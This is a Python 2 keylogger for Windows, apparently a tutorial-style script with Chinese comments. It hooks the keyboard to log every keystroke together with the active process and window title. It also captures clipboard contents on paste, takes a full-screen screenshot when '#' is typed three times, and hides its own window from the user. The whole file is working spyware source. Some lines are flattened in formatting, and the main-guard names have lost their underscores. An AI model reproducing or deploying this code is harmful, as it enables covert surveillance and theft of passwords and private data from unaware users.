##############################################################################

程序名：keylogger_screenshot.py

功能：获取用户键盘记录，在用户连续输入“#”时，对屏幕进行截图，并以图片形式保存。

#　　　　同时实现进程隐藏。

说　明：运行平台Windows。

############################################################################## from ctypes import * import pythoncom import pyHook import win32clipboard import win32gui import win32ui import win32con import win32api import os

user32 = windll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = None count = 0

def get_current_process(): hwnd = user32.GetForegroundWindow() # 获得前台窗口句柄 pid = c_ulong(0) user32.GetWindowThreadProcessId(hwnd, byref(pid)) process_id = "%d" % pid.value # 获得进程PID

executable = create_string_buffer("\x00" * 512)
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) # 获得进程名

window_title = create_string_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title),512)   # 获得窗口名

print
print "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
print

kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)

def key_event(event): global current_window global count

if event.WindowName != current_window:  # 检查目标是否切换了窗口
    current_window = event.WindowName        
    get_current_process()

if event.Ascii > 32 and event.Ascii < 127:    # 检查是否为常规按键
    print chr(event.Ascii),
    if chr(event.Ascii) == "#":   # 检查是否为“#”键
        count += 1
        if count >= 3:            # 连续输入3个“#”时，截图并保存
            count = 0
            screen_shot()
else:
    if event.Key == "V":                 # 如果是Ctrl+V，则获取剪贴板内容
        win32clipboard.OpenClipboard()
        pasted_value = win32clipboard.GetClipboardData()
        win32clipboard.CloseClipboard()
        print "[PASTE] - %s" % (pasted_value),
    else:
        print "[%s]" % event.Key,

return True                            # 返回到下一个钩子事件

def key_logger(): hooker = pyHook.HookManager() # 创建钩子函数管理器 hooker.KeyDown = key_event # 注册钩子按键事件的处理函数 hooker.HookKeyboard() # 创建键盘钩子 pythoncom.PumpMessages()

def screen_shot(): hdesktop = win32gui.GetDesktopWindow() # 获得桌面窗口句柄

# 获得显示器尺寸
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) 
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

desktop_dc = win32gui.GetWindowDC(hdesktop)        # 创建设备描述表
img_dc = win32ui.CreateDCFromHandle(desktop_dc)

mem_dc = img_dc.CreateCompatibleDC()              # 创建基于内存的设备描述表

screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)       # 创建位图对象
mem_dc.SelectObject(screenshot)
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)# 复制屏幕
screenshot.SaveBitmapFile(mem_dc, 'c:\screen.bmp')           # 将位图保存到文件

mem_dc.DeleteDC()                                       # 释放对象
win32gui.DeleteObject(screenshot.GetHandle())

def hide_process(): whnd = win32gui.FindWindow(None, "Python") if whnd != 0: win32gui.ShowWindow(whnd, win32con.SW_HIDE)

if name == 'main': hide_process() key_logger()